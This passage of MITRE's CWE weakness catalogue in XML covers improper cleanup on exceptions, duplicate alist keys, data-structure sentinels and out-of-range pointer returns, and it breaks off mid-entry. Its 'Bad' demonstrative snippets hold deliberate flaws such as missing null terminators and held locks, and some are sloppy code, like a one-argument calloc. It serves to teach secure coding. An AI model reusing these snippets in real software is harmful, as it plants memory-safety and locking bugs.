         <Extended_Description>Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="459" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Note>The code could be left in a bad state.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class foo {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public static final void main( String args[] ) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>boolean returnValue;<xhtml:br/>returnValue=doStuff();</xhtml:div>
                           </xhtml:div>}<xhtml:br/>public static final boolean doStuff( ) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>boolean threadLock;<xhtml:br/>boolean truthvalue=true;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>while(<xhtml:br/>
                                       <xhtml:i>//check some condition</xhtml:i>
                                       <xhtml:br/>) {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>threadLock=true; //do some stuff to truthvalue<xhtml:br/>threadLock=false;</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>catch (Exception e){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>System.err.println("You did something bad");<xhtml:br/>if (something) return truthvalue;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>return truthvalue;</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this case, you may leave a thread locked accidentally.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Improper cleanup on thrown exception</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR03-J</Entry_ID>
               <Entry_Name>Restore prior object state on method failure</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR05-J</Entry_ID>
               <Entry_Name>Do not let checked exceptions escape from a finally block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP31-PL</Entry_ID>
               <Entry_Name>Do not suppress or ignore exceptions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="462" Name="Duplicate Key in Associative List (Alist)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.</Description>
         <Extended_Description>A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="694" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a hash table instead of an alist.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code adds data to a list and then attempts to sort the data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>alist = []<xhtml:br/>while (foo()): #now assume there is a string data with a key basename<xhtml:div style="margin-left:1em;">queue.append(basename,data)<xhtml:br/>queue.sort()</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Since basename is not necessarily unique, this may not sort how one would like it to be.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Duplicate key in associative list (alist)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV02-C</Entry_ID>
               <Entry_Name>Beware of multiple environment variables with the same effective name</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="463" Name="Deletion of Data Structure Sentinel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The accidental deletion of a data-structure sentinel can cause serious programming logic problems.</Description>
         <Extended_Description>Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="464" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Generally this error will cause the data structure to not work properly.</Note>
            </Consequence>
            <Consequence>
               <Scope>Authorization</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>If a control character, such as NULL is removed, one may cause resource access control problems.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
               <Phase>Build and Compilation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>
                  <xhtml:p>Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.</xhtml:p>
                  <xhtml:p>For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</xhtml:p>
               </Description>
               <Effectiveness>Defense in Depth</Effectiveness>
               <Effectiveness_Notes>This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Use OS-level preventative functionality. Not a complete solution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example creates a null terminated string and prints it contents.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char *foo;<xhtml:br/>int counter;<xhtml:br/>foo=calloc(sizeof(char)*10);<xhtml:br/>
                     <xhtml:br/>for (counter=0;counter!=10;counter++) {<xhtml:div style="margin-left:1em;">foo[counter]='a';</xhtml:div>
                     <xhtml:br/>printf("%s\n",foo);<xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Deletion of data-structure sentinel</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;NUL-Termination Problems&#34;, Page 452"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Deletion of Data-structure Sentinel</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="464" Name="Addition of Data Structure Sentinel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The accidental addition of a data-structure sentinel can cause serious programming logic problems.</Description>
         <Extended_Description>Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Generally this error will cause the data structure to not work properly by truncating the data.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an abstraction library to abstract away risky APIs. This is not a complete solution.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Use OS-level preventative functionality. This is not a complete solution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char *foo;<xhtml:br/>foo=malloc(sizeof(char)*5);<xhtml:br/>foo[0]='a';<xhtml:br/>foo[1]='a';<xhtml:br/>foo[2]=atoi(getc(stdin));<xhtml:br/>foo[3]='c';<xhtml:br/>foo[4]='\0'<xhtml:br/>printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);<xhtml:br/>printf("%s\n",foo);</xhtml:div>
               </Example_Code>
               <Body_Text>The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Addition of data-structure sentinel</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR03-C</Entry_ID>
               <Entry_Name>Do not inadvertently truncate a null-terminated byte string</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR06-C</Entry_ID>
               <Entry_Name>Do not assume that strtok() leaves the parse string unchanged</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Likelihood_of_Exploit, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Addition of Data-structure Sentinel</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="466" Name="Return of Pointer Value Outside of Expected Range" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Illegal Pointer Value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
